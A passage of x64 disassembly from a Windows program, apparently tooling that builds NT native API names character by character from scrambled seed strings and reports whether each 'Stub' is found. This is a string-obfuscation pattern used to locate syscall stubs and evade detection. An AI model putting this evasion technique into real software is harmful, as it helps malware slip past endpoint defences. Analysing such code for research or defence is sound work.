mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2df0]
lea rdx, [rbp + 0x2e10]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2dd0]
lea rdx, [rbp + 0x2df0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2db0]
lea rdx, [rbp + 0x2dd0]
lea r8, [0x1404175b6]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2d90]
lea rdx, [rbp + 0x2db0]
lea r8, [0x1404175b8]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2d70]
lea rdx, [rbp + 0x2d90]
lea r8, [0x1404175ba]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x2d70]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x2d70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2d90]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2db0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2dd0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2df0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2e10]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2e30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2e70]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2e90]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2eb0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2ed0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2ef0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2f10]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2f30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2f50]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2f7f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x2f80]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x2f80]
mov rcx, qword [rbp + 0x5360]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x2f80]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x1400058ac
lea rbx, [0x14041758e]
jmp 0x1400058b3
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x316f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x316f]
lea rax, [rbp + 0x3140]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x3120]
lea rdx, [rbp + 0x3140]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3100]
lea rdx, [rbp + 0x3120]
lea r8, [0x1404175bc]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x30e0]
lea rdx, [rbp + 0x3100]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x30c0]
lea rdx, [rbp + 0x30e0]
lea r8, [0x1404175be]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x30a0]
lea rdx, [rbp + 0x30c0]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3080]
lea rdx, [rbp + 0x30a0]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3060]
lea rdx, [rbp + 0x3080]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3040]
lea rdx, [rbp + 0x3060]
lea r8, [0x1404175b2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3020]
lea rdx, [rbp + 0x3040]
lea r8, [0x1404175b4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3000]
lea rdx, [rbp + 0x3020]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2fe0]
lea rdx, [rbp + 0x3000]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2fc0]
lea rdx, [rbp + 0x2fe0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2fa0]
lea rdx, [rbp + 0x2fc0]
lea r8, [0x1404175b6]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x2fa0]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x2fa0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2fc0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2fe0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3000]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3020]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3040]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3060]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3080]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x30a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x30c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x30e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3100]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3120]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3140]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x316f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x3170]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x3170]
mov rcx, qword [rbp + 0x5358]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x3170]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140005bef
lea rbx, [0x14041758e]
jmp 0x140005bf6
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x343f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x343f]
lea rax, [rbp + 0x3410]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x33f0]
lea rdx, [rbp + 0x3410]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x33d0]
lea rdx, [rbp + 0x33f0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x33b0]
lea rdx, [rbp + 0x33d0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3390]
lea rdx, [rbp + 0x33b0]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3370]
lea rdx, [rbp + 0x3390]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3350]
lea rdx, [rbp + 0x3370]
lea r8, [0x1404175c0]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3330]
lea rdx, [rbp + 0x3350]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3310]
lea rdx, [rbp + 0x3330]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x32f0]
lea rdx, [rbp + 0x3310]
lea r8, [0x1404175c2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x32d0]
lea rdx, [rbp + 0x32f0]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x32b0]
lea rdx, [rbp + 0x32d0]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3290]
lea rdx, [rbp + 0x32b0]
lea r8, [0x1404175c6]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3270]
lea rdx, [rbp + 0x3290]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3250]
lea rdx, [rbp + 0x3270]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3230]
lea rdx, [rbp + 0x3250]
lea r8, [0x1404175c8]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3210]
lea rdx, [rbp + 0x3230]
lea r8, [0x1404175ca]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x31f0]
lea rdx, [rbp + 0x3210]
lea r8, [0x1404175cc]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x31d0]
lea rdx, [rbp + 0x31f0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x31b0]
lea rdx, [rbp + 0x31d0]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3190]
lea rdx, [rbp + 0x31b0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x3190]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x3190]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x31b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x31d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x31f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3210]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3230]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3250]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3270]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3290]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x32b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x32d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x32f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3310]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3330]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3350]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3370]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3390]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x33b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x33d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x33f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3410]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x343f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x3440]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x3440]
mov rcx, qword [rbp + 0x5350]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x3440]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140006066
lea rbx, [0x14041758e]
jmp 0x14000606d
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x378f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x378f]
lea rax, [rbp + 0x3760]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x3740]
lea rdx, [rbp + 0x3760]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3720]
lea rdx, [rbp + 0x3740]
lea r8, [0x1404175ce]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3700]
lea rdx, [rbp + 0x3720]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x36e0]
lea rdx, [rbp + 0x3700]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x36c0]
lea rdx, [rbp + 0x36e0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x36a0]
lea rdx, [rbp + 0x36c0]
lea r8, [0x14041758c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3680]
lea rdx, [rbp + 0x36a0]
lea r8, [0x1404175d0]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3660]
lea rdx, [rbp + 0x3680]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3640]
lea rdx, [rbp + 0x3660]
lea r8, [0x1404175d2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3620]
lea rdx, [rbp + 0x3640]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3600]
lea rdx, [rbp + 0x3620]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x35e0]
lea rdx, [rbp + 0x3600]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x35c0]
lea rdx, [rbp + 0x35e0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x35a0]
lea rdx, [rbp + 0x35c0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3580]
lea rdx, [rbp + 0x35a0]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3560]
lea rdx, [rbp + 0x3580]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3540]
lea rdx, [rbp + 0x3560]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3520]
lea rdx, [rbp + 0x3540]
lea r8, [0x1404175ae]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3500]
lea rdx, [rbp + 0x3520]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x34e0]
lea rdx, [rbp + 0x3500]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x34c0]
lea rdx, [rbp + 0x34e0]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x34a0]
lea rdx, [rbp + 0x34c0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3480]
lea rdx, [rbp + 0x34a0]
lea r8, [0x1404175be]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3460]
lea rdx, [rbp + 0x3480]
lea r8, [0x1404175be]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x3460]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x3460]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3480]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x34a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x34c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x34e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3500]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3520]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3540]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3560]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3580]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x35a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x35c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x35e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3600]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3620]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3640]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3660]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3680]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x36a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x36c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x36e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3700]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3720]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3740]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3760]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x378f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x3790]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x3790]
mov rcx, qword [rbp + 0x5348]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x3790]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x14000658d
lea rbx, [0x14041758e]
jmp 0x140006594
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3a1f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x3a1f]
lea rax, [rbp + 0x39f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x39d0]
lea rdx, [rbp + 0x39f0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x39b0]
lea rdx, [rbp + 0x39d0]
lea r8, [0x1404175bc]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3990]
lea rdx, [rbp + 0x39b0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3970]
lea rdx, [rbp + 0x3990]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3950]
lea rdx, [rbp + 0x3970]
lea r8, [0x1404175b6]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3930]
lea rdx, [rbp + 0x3950]
lea r8, [0x140417580]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3910]
lea rdx, [rbp + 0x3930]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x38f0]
lea rdx, [rbp + 0x3910]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x38d0]
lea rdx, [rbp + 0x38f0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x38b0]
lea rdx, [rbp + 0x38d0]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3890]
lea rdx, [rbp + 0x38b0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3870]
lea rdx, [rbp + 0x3890]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3850]
lea rdx, [rbp + 0x3870]
lea r8, [0x140417588]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3830]
lea rdx, [rbp + 0x3850]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3810]
lea rdx, [rbp + 0x3830]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x37f0]
lea rdx, [rbp + 0x3810]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x37d0]
lea rdx, [rbp + 0x37f0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x37b0]
lea rdx, [rbp + 0x37d0]
lea r8, [0x14041758c]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x37b0]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x37b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x37d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x37f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3810]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3830]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3850]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3870]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3890]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x38b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x38d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x38f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3910]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3930]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3950]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3970]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3990]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x39b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x39d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x39f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3a1f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x3a20]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x3a20]
mov rcx, qword [rbp + 0x5340]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x3a20]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x1400069ac
lea rbx, [0x14041758e]
jmp 0x1400069b3
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3b2f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x3b2f]
lea rax, [rbp + 0x3b00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x3ae0]
lea rdx, [rbp + 0x3b00]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3ac0]
lea rdx, [rbp + 0x3ae0]
lea r8, [0x1404175b0]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3aa0]
lea rdx, [rbp + 0x3ac0]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3a80]
lea rdx, [rbp + 0x3aa0]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3a60]
lea rdx, [rbp + 0x3a80]
lea r8, [0x1404175be]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3a40]
lea rdx, [rbp + 0x3a60]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x3a40]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x3a40]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3a60]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3a80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3aa0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3ac0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3ae0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3b00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x3b2f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x3b30]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x3b30]
mov rcx, qword [rbp + 0x5338]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x3b30]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140006bbb
lea rbx, [0x14041758e]
jmp 0x140006bc2
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3cff]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x3cff]
lea rax, [rbp + 0x3cd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x3cb0]
lea rdx, [rbp + 0x3cd0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3c90]
lea rdx, [rbp + 0x3cb0]
lea r8, [0x1404175c8]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3c70]
lea rdx, [rbp + 0x3c90]
lea r8, [0x1404175d4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3c50]
lea rdx, [rbp + 0x3c70]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3c30]
lea rdx, [rbp + 0x3c50]
lea r8, [0x1404175c4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3c10]
lea rdx, [rbp + 0x3c30]
lea r8, [0x1404175ae]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3bf0]
lea rdx, [rbp + 0x3c10]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3bd0]
lea rdx, [rbp + 0x3bf0]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3bb0]
lea rdx, [rbp + 0x3bd0]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3b90]
lea rdx, [rbp + 0x3bb0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3b70]
lea rdx, [rbp + 0x3b90]
lea r8, [0x1404175be]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x3b50]
lea rdx, [rbp + 0x3b70]
lea r8, [0x1404175be]
mov rcx, rax
